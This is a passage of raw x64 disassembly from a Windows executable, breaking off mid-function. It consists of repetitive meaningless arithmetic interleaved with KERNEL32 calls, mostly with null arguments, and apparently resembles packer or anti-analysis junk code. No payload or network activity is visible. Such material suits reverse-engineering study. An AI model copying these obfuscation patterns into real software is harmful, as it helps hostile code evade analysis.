mov eax, ecx
mov dword [rsp + 0xa57c], eax
mov rax, qword [rsp + 0x14988]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb15c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa620], eax
mov eax, dword [rsp + 0xac64]
mov dword [rsp + 0xb1dc], eax
mov rax, qword [0x14028ebc8]
mov rcx, qword [rsp + 0x150b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xaeb4], eax
mov rax, qword [rsp + 0x15338]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2de0]
sub eax, ecx
mov word [rsp + 0x2ab0], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
movzx eax, byte [rsp + 0x6a3]
mov rcx, qword [0x14028ed18]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14028c904], al
mov rax, qword [rsp + 0x14608]
mov ecx, dword [rsp + 0xa8d8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa9f0], eax
lea rax, [rsp + 0xa428]
mov qword [rsp + 0x155a0], rax
mov rax, qword [rsp + 0x15108]
mov ecx, dword [0x14028ed98]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb06c], eax
mov rax, qword [rsp + 0x14df0]
mov ecx, dword [rsp + 0xad94]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7800], eax
mov rax, qword [rsp + 0x143b8]
movzx eax, byte [rax]
mov byte [rsp + 0x789], al
movzx eax, word [0x140282768]
movzx ecx, word [rsp + 0x21b0]
or eax, ecx
mov word [rsp + 0x2dd0], ax
lea rax, [rsp + 0x24d0]
mov qword [rsp + 0x155a8], rax
movsx eax, byte [rsp + 0x714]
movsx ecx, byte [rsp + 0x6a7]
sar eax, cl
mov byte [rsp + 0x3f8], al
mov rax, qword [rsp + 0x14238]
mov eax, dword [rax]
mov ecx, dword [0x14028eb00]
xor ecx, eax
mov eax, ecx
mov dword [0x140282748], eax
mov rax, qword [rsp + 0x14988]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9644]
shl eax, cl
mov dword [rsp + 0x7ab4], eax
mov rax, qword [rsp + 0x14130]
movzx eax, word [rax]
mov word [rsp + 0x3124], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rax, qword [0x14028ecb0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14a20]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x68e], al
mov rax, qword [rsp + 0x15098]
mov rcx, qword [rsp + 0x14858]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8e64], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
mov rax, qword [rsp + 0x148c0]
mov ecx, dword [rsp + 0xafe4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa370], eax
mov rax, qword [rsp + 0x148f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa418]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8e4], eax
mov eax, dword [rsp + 0xab7c]
mov dword [rsp + 0xb1e0], eax
mov rax, qword [rsp + 0x146e8]
movzx eax, byte [rax]
mov rcx, qword [0x14028ed60]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x145a8]
mov byte [rcx], al
movzx eax, word [rsp + 0x2b60]
mov rcx, qword [rsp + 0x148e0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14028286c], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xb1e4], eax
mov rax, qword [rsp + 0x153f8]
mov eax, dword [rax]
mov dword [rsp + 0xb1e8], eax
mov eax, dword [rsp + 0xaf50]
mov ecx, dword [rsp + 0xa5b4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9380], eax
mov rax, qword [rsp + 0x15258]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa04]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xabb8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
mov eax, dword [rsp + 0xaab8]
mov dword [rsp + 0xb1ec], eax
mov rax, qword [rsp + 0x13e78]
mov rcx, qword [rsp + 0x14178]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa820], eax
movsx eax, word [rsp + 0x2c48]
mov rcx, qword [rsp + 0x140a8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x18a0], ax
movsx eax, byte [rsp + 0x190]
movsx ecx, byte [rsp + 0x643]
xor eax, ecx
mov byte [rsp + 0xdf], al
movzx eax, byte [rsp + 0x652]
mov byte [rsp + 0x78a], al
movzx eax, word [rsp + 0x2ee0]
mov word [0x14028eafc], ax
mov rax, qword [rsp + 0x15170]
mov ecx, dword [rsp + 0xa7ec]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xab3c], eax
mov rax, qword [rsp + 0x14880]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14a58]
mov qword [rsp + 0x155b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x155b0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xaf7c], eax
movzx eax, word [rsp + 0x30b8]
mov word [rsp + 0x3128], ax
movzx eax, byte [rsp + 0x6db]
mov rcx, qword [rsp + 0x14b08]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6bf], al
mov rax, qword [rsp + 0x15208]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9cb4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9f40], eax
mov rax, qword [rsp + 0x14d20]
mov ecx, dword [rsp + 0xa628]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xad6c], eax
mov rax, qword [rsp + 0x14de8]
mov eax, dword [rax]
mov ecx, dword [0x140282850]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7c8], eax
mov eax, dword [rsp + 0xa98c]
mov dword [rsp + 0xb1f0], eax
movzx eax, byte [rsp + 0x6e5]
mov rcx, qword [rsp + 0x14548]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14028ed18]
mov byte [rcx], al
mov rax, qword [rsp + 0x14130]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x153e0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2e44], ax
mov eax, dword [rsp + 0xa7b0]
mov dword [rsp + 0xb1f4], eax
mov rax, qword [rsp + 0x14b78]
mov rcx, qword [rsp + 0x147a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa500], eax
mov rax, qword [rsp + 0x140b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13f90]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6da], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xacc8], eax
mov rax, qword [rsp + 0x147f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14b00]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x21c0], ax
mov rax, qword [0x14028ec48]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2cc4]
add eax, ecx
mov word [rsp + 0x2d6c], ax
mov rax, qword [rsp + 0x14480]
movzx eax, byte [rax]
mov byte [rsp + 0x78b], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov edx, 0x1968
mov rcx, qword [rsp + 0x14368]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xb1f8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov rax, qword [rsp + 0x15238]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7684]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x8bc0], eax
mov rax, qword [rsp + 0x14970]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14de8]
mov qword [rsp + 0x155b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x155b8]
mov eax, dword [rax]
sar eax, cl
mov dword [0x14028295c], eax
mov eax, dword [rsp + 0xab28]
mov dword [rsp + 0xb1fc], eax
mov rax, qword [rsp + 0x14dd8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14cd8]
mov qword [rsp + 0x155c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x155c0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x14c08]
mov dword [rcx], eax
mov rax, qword [0x14028eb48]
mov ecx, dword [rsp + 0x73b4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x7e78], eax
lea rax, [rsp + 0x302]
mov qword [rsp + 0x155c8], rax
movzx eax, word [rsp + 0x2584]
mov rcx, qword [rsp + 0x14168]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2a1c], ax
mov eax, dword [rsp + 0xa4f8]
mov ecx, dword [0x140282728]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8058], eax
mov eax, dword [rsp + 0xaa5c]
mov ecx, dword [rsp + 0xafe4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa488], eax
mov rax, qword [0x14028eb98]
mov ecx, dword [rsp + 0xa484]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x74a0], eax
mov rax, qword [rsp + 0x14578]
mov ecx, dword [rsp + 0xb18c]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14028ede0], eax
mov rax, qword [rsp + 0x14700]
movzx eax, byte [rax]
mov byte [rsp + 0x78c], al
movzx eax, word [rsp + 0x1dac]
mov rcx, qword [rsp + 0x152b0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2e24], ax
mov rax, qword [rsp + 0x13f90]
movzx eax, byte [rax]
mov byte [rsp + 0x78d], al
mov rax, qword [rsp + 0x142b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2dc4]
and eax, ecx
mov word [rsp + 0x2b2c], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xa738], eax
mov rax, qword [0x14028ee28]
mov ecx, dword [rsp + 0x96e0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa5bc], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1623
mov r9d, 0x311c
mov r8d, 0x56a0e011
mov edx, 1
mov rcx, qword [rsp + 0x14a28]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xa29c], eax
mov rax, qword [rsp + 0x142d8]
mov rcx, qword [rsp + 0x14e50]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7e6c], eax
movzx eax, byte [rsp + 0x6de]
mov rcx, qword [0x14028ecd0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6b3], al
lea rcx, str.A8DRZO.q_TjWCt8
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x312c], ax
mov rax, qword [rsp + 0x14758]
movzx eax, word [rax]
mov word [rsp + 0x3130], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
mov eax, dword [rsp + 0xb1f4]
movzx ecx, al
mov eax, dword [rsp + 0xb094]
shl eax, cl
mov dword [0x140282960], eax
movzx ecx, word [rsp + 0x2e50]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2c08], ax
mov rax, qword [rsp + 0x143d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xae20]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x73b4], eax
mov eax, dword [rsp + 0x7790]
mov rcx, qword [rsp + 0x14f70]
mov qword [rsp + 0x155d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x155d0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa5d0], eax
lea rax, [rsp + 0x9c48]
mov qword [rsp + 0x155d8], rax
movzx eax, word [rsp + 0x2ed0]
mov rcx, qword [rsp + 0x151a0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2040], ax
movzx eax, byte [rsp + 0x729]
mov byte [rsp + 0x78e], al
mov rax, qword [rsp + 0x14c30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d50]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa528], eax
mov rax, qword [0x14028eb88]
mov eax, dword [rax]
mov dword [rsp + 0xb200], eax
mov rax, qword [rsp + 0x155d8]
mov rcx, qword [rsp + 0x14f80]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14560]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14f28]
mov eax, dword [rax]
mov dword [0x14028eaf8], eax
mov rax, qword [rsp + 0x14ff8]
mov ecx, dword [rsp + 0x8b90]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14a88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13ea8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14c50]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x20c], al
mov rax, qword [rsp + 0x14648]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2bac]
sub eax, ecx
mov word [rsp + 0x282c], ax
movzx eax, word [0x140282888]
mov word [rsp + 0x3134], ax
mov rax, qword [rsp + 0x14a20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13e98]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14480]
mov byte [rcx], al
mov rax, qword [rsp + 0x15168]
mov ecx, dword [rsp + 0x9dd8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x899c], eax
mov rax, qword [rsp + 0x14c20]
mov eax, dword [rax]
mov dword [rsp + 0xb204], eax
mov rax, qword [rsp + 0x14f58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x153b0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6a9], al
movzx eax, word [rsp + 0x2b48]
movzx ecx, word [0x140282770]
add eax, ecx
mov word [0x140282894], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
lea rax, [rsp + 0x7c24]
mov qword [rsp + 0x155e0], rax
lea rcx, [0x1402835b4]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x3138], ax
mov rax, qword [rsp + 0x15548]
mov ecx, dword [rsp + 0xa44c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xaf08], eax
mov rax, qword [0x14028eb88]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa60c]
shl eax, cl
mov dword [rsp + 0xa840], eax
mov rax, qword [rsp + 0x14f68]
mov rcx, qword [rsp + 0x14440]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x968c], eax
movzx eax, word [rsp + 0x2e30]
mov rcx, qword [rsp + 0x14b58]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2188], ax
lea rax, [0x140281e8b]
mov qword [rsp + 0x155e8], rax
mov rax, qword [rsp + 0x145b8]
mov ecx, dword [rsp + 0xaea0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x144d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x150c0]
mov ecx, dword [0x14028ee1c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8e1c], eax
mov rax, qword [rsp + 0x15150]
movsx eax, word [rax]
imul eax, eax, 0x377
mov word [0x140282964], ax
movzx eax, byte [rsp + 0x641]
mov byte [rsp + 0x78f], al
mov rax, qword [rsp + 0x15018]
movzx eax, byte [rax]
movzx ecx, byte [0x140281e3b]
add eax, ecx
mov byte [rsp + 0x6ce], al
mov rax, qword [rsp + 0x14bf8]
movzx eax, word [rax]
mov word [rsp + 0x313c], ax
mov rax, qword [rsp + 0x155d8]
mov ecx, dword [rsp + 0xa624]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa9f4], eax
mov eax, dword [rsp + 0xa468]
mov ecx, dword [rsp + 0xadf8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9500], eax
mov rax, qword [rsp + 0x14aa0]
mov ecx, dword [rsp + 0x8140]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa5ac], eax
mov rax, qword [rsp + 0x14a10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xad38]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa810], eax
mov rax, qword [rsp + 0x14b78]
mov eax, dword [rax]
mov dword [rsp + 0xb208], eax
movzx eax, byte [rsp + 0x653]
movzx ecx, byte [rsp + 0x6a6]
add eax, ecx
mov byte [rsp + 0x6fc], al
movzx eax, word [rsp + 0x2040]
movzx ecx, word [rsp + 0x30c4]
add eax, ecx
mov word [0x140282860], ax
xor r9d, r9d
lea r8, [rsp + 0x13f80]
mov rdx, qword [rsp + 0x14d48]
mov rcx, qword [rsp + 0x143d0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xafec], eax
mov rax, qword [rsp + 0x148d8]
mov eax, dword [rax]
mov dword [rsp + 0xb20c], eax
mov eax, dword [rsp + 0xaab8]
mov ecx, dword [rsp + 0xa6e4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xafcc], eax
mov rax, qword [0x14028ec50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8300]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fa0], eax
mov eax, dword [rsp + 0x8680]
movzx ecx, al
mov eax, dword [rsp + 0xacf8]
shr eax, cl
mov dword [rsp + 0x905c], eax
mov rax, qword [rsp + 0x141d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d94]
xor eax, ecx
mov word [rsp + 0x2c14], ax
movzx eax, byte [rsp + 0x755]
mov byte [rsp + 0x790], al
movsx eax, byte [rsp + 0x731]
mov rcx, qword [rsp + 0x14298]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x14198]
mov byte [rcx], al
mov rax, qword [rsp + 0x14648]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14eb0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b7c], ax
mov rax, qword [0x14028eda8]
mov rcx, qword [rsp + 0x14b10]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x140282968], eax
lea rax, [rsp + 0xaa10]
mov qword [rsp + 0x155f0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0x14518]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov rax, qword [rsp + 0x143e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x154b8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2e9c], ax
movzx eax, byte [rsp + 0x6d5]
mov byte [rsp + 0x791], al
mov rax, qword [rsp + 0x14f98]
mov rcx, qword [rsp + 0x14fc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa918], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xa3b0], eax
mov eax, dword [rsp + 0xa3fc]
mov dword [rsp + 0xb210], eax
mov rax, qword [rsp + 0x151d8]
mov eax, dword [rax]
mov ecx, dword [0x1402828cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa604], eax
mov rax, qword [rsp + 0x144f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaae4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x96d4], eax
movzx eax, byte [rsp + 0x1f5]
movzx ecx, byte [rsp + 0x6ea]
sub eax, ecx
mov byte [rsp + 0x60b], al
mov rax, qword [rsp + 0x14ab0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bf0]
sub eax, ecx
mov word [0x1402826d0], ax
mov eax, dword [rsp + 0x9f90]
mov ecx, dword [rsp + 0xa508]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c48], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.YZkSbPzS1VY
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x155f8], rax
mov rax, qword [0x14028ee90]
mov eax, dword [rax]
mov dword [rsp + 0xb214], eax
mov rax, qword [rsp + 0x15438]
mov rcx, qword [rsp + 0x14288]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa5c4], eax
mov rax, qword [rsp + 0x155f0]
mov rcx, qword [rsp + 0x14de8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa8ec], eax
mov eax, dword [rsp + 0xa470]
mov dword [rsp + 0xb218], eax
mov rax, qword [rsp + 0x14bc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x190]
xor eax, ecx
mov byte [rsp + 0x64a], al
mov rax, qword [rsp + 0x143c8]
movsx eax, word [rax]
movsx ecx, word [0x14028ed20]
shl eax, cl
mov word [rsp + 0x1454], ax
mov rax, qword [rsp + 0x15320]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1890]
or eax, ecx
mov rcx, qword [rsp + 0x154f8]
mov word [rcx], ax
lea rax, [rsp + 0x759]
mov qword [0x14028eaf0], rax
mov eax, dword [rsp + 0x850c]
mov rcx, qword [rsp + 0x147f8]
mov qword [rsp + 0x15600], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15600]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xb080], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov rax, qword [rsp + 0x14b48]
mov eax, dword [rax]
mov dword [rsp + 0xb21c], eax
mov rax, qword [rsp + 0x14dc8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2dbc]
and eax, ecx
mov word [rsp + 0x313c], ax
mov rcx, qword [rsp + 0x14568]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xa7cc], eax
lea rdx, [rsp + 0xb024]
mov rcx, qword [rsp + 0x14bc8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xb220], eax
mov rax, qword [rsp + 0x15190]
movzx eax, byte [rax]
mov byte [rsp + 0x792], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xae04], eax
mov rax, qword [rsp + 0x14288]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaff0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xaff4], eax
mov rax, qword [rsp + 0x15360]
mov rcx, qword [rsp + 0x141c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb07c], eax
mov rax, qword [rsp + 0x14cb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8640]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x841c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xa8fc], eax
mov rax, qword [rsp + 0x14b90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaeec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa704], eax
mov rax, qword [rsp + 0x14bf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c8c]
sub eax, ecx
mov word [0x14028290c], ax
movzx eax, byte [rsp + 0x749]
mov byte [rsp + 0x793], al
mov rax, qword [rsp + 0x14dd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6480]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa71c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
mov rax, qword [rsp + 0x14a10]
mov eax, dword [rax]
mov dword [rsp + 0xb224], eax
movsx eax, word [0x1402827fc]
movsx ecx, word [rsp + 0x2edc]
add eax, ecx
mov word [rsp + 0x24d0], ax
mov rax, qword [rsp + 0x14c68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x15430]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x66b], al
movzx eax, byte [rsp + 0x779]
movzx ecx, byte [0x14028eb90]
sar eax, cl
mov byte [rsp + 0x4df], al
lea rcx, [rsp + 0x21ba8]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movzx eax, word [rsp + 0x1c00]
mov rcx, qword [rsp + 0x14498]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x14f78]
mov word [rcx], ax
mov rax, qword [rsp + 0x14b50]
mov eax, dword [rax]
mov dword [rsp + 0xb228], eax
mov rax, qword [rsp + 0x14c30]
mov ecx, dword [rsp + 0x91b0]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x140282730], eax
mov rax, qword [rsp + 0x14f00]
mov rcx, qword [rsp + 0x14a30]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xadf0], eax
mov eax, dword [0x140282960]
mov ecx, dword [rsp + 0xa468]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7f8], eax
mov rax, qword [rsp + 0x15258]
mov eax, dword [rax]
mov dword [rsp + 0xb22c], eax
movzx eax, word [rsp + 0x2b68]
movzx ecx, word [rsp + 0x1c38]
add eax, ecx
mov word [rsp + 0x19ac], ax
movzx eax, byte [rsp + 0x60b]
mov rcx, qword [rsp + 0x14fc0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x354], al
mov eax, dword [rsp + 0x8dd0]
mov ecx, dword [rsp + 0xade8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7ae8], eax
mov rax, qword [rsp + 0x14ba8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaf04]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8130], eax
mov eax, dword [rsp + 0xa654]
mov dword [rsp + 0xb230], eax
mov rax, qword [rsp + 0x146c8]
mov eax, dword [rax]
mov dword [0x14028eaec], eax
mov rax, qword [rsp + 0x15598]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x673]
and eax, ecx
mov byte [rsp + 0x676], al
movzx eax, word [rsp + 0x2c44]
mov word [rsp + 0x3140], ax
mov rax, qword [0x14028eb18]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14bc0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13f90]
mov byte [rcx], al
lea rax, [rsp + 0x2d10]
mov qword [rsp + 0x15608], rax
mov rax, qword [rsp + 0x14ec8]
mov rcx, qword [0x14028ebf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xab9c], eax
mov eax, dword [rsp + 0x7648]
mov ecx, dword [rsp + 0x8140]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa74], eax
lea rax, [rsp + 0x2e30]
mov qword [rsp + 0x15610], rax
movzx eax, byte [rsp + 0x6ba]
movzx ecx, byte [reloc.COMCTL32.dll_DrawInsert]
sub eax, ecx
mov rcx, qword [rsp + 0x15480]
mov byte [rcx], al
mov rax, qword [rsp + 0x13f70]
mov ecx, dword [rsp + 0x6944]
mov eax, dword [rax]
or eax, ecx
mov dword [0x14028296c], eax
mov eax, dword [rsp + 0xabc0]
mov dword [rsp + 0xb234], eax
mov eax, dword [rsp + 0xa278]
mov ecx, dword [rsp + 0x7a5c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa24], eax
mov rax, qword [rsp + 0x14f10]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xaabc]
shl eax, cl
mov rcx, qword [rsp + 0x14c08]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x709]
movzx ecx, byte [rsp + 0x653]
sar eax, cl
mov byte [rsp + 0x4b4], al
mov rax, qword [rsp + 0x14c90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15338]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1dac], ax
mov rax, qword [rsp + 0x14f60]
mov eax, dword [rax]
mov dword [rsp + 0xb238], eax
mov rax, qword [rsp + 0x14098]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xac04]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa66c], eax
mov eax, dword [rsp + 0x7ba4]
mov ecx, dword [rsp + 0xafb8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14a58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x150b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb088]
sub ecx, eax
mov eax, ecx
mov dword [0x14028ec60], eax
lea rax, [rsp + 0xadac]
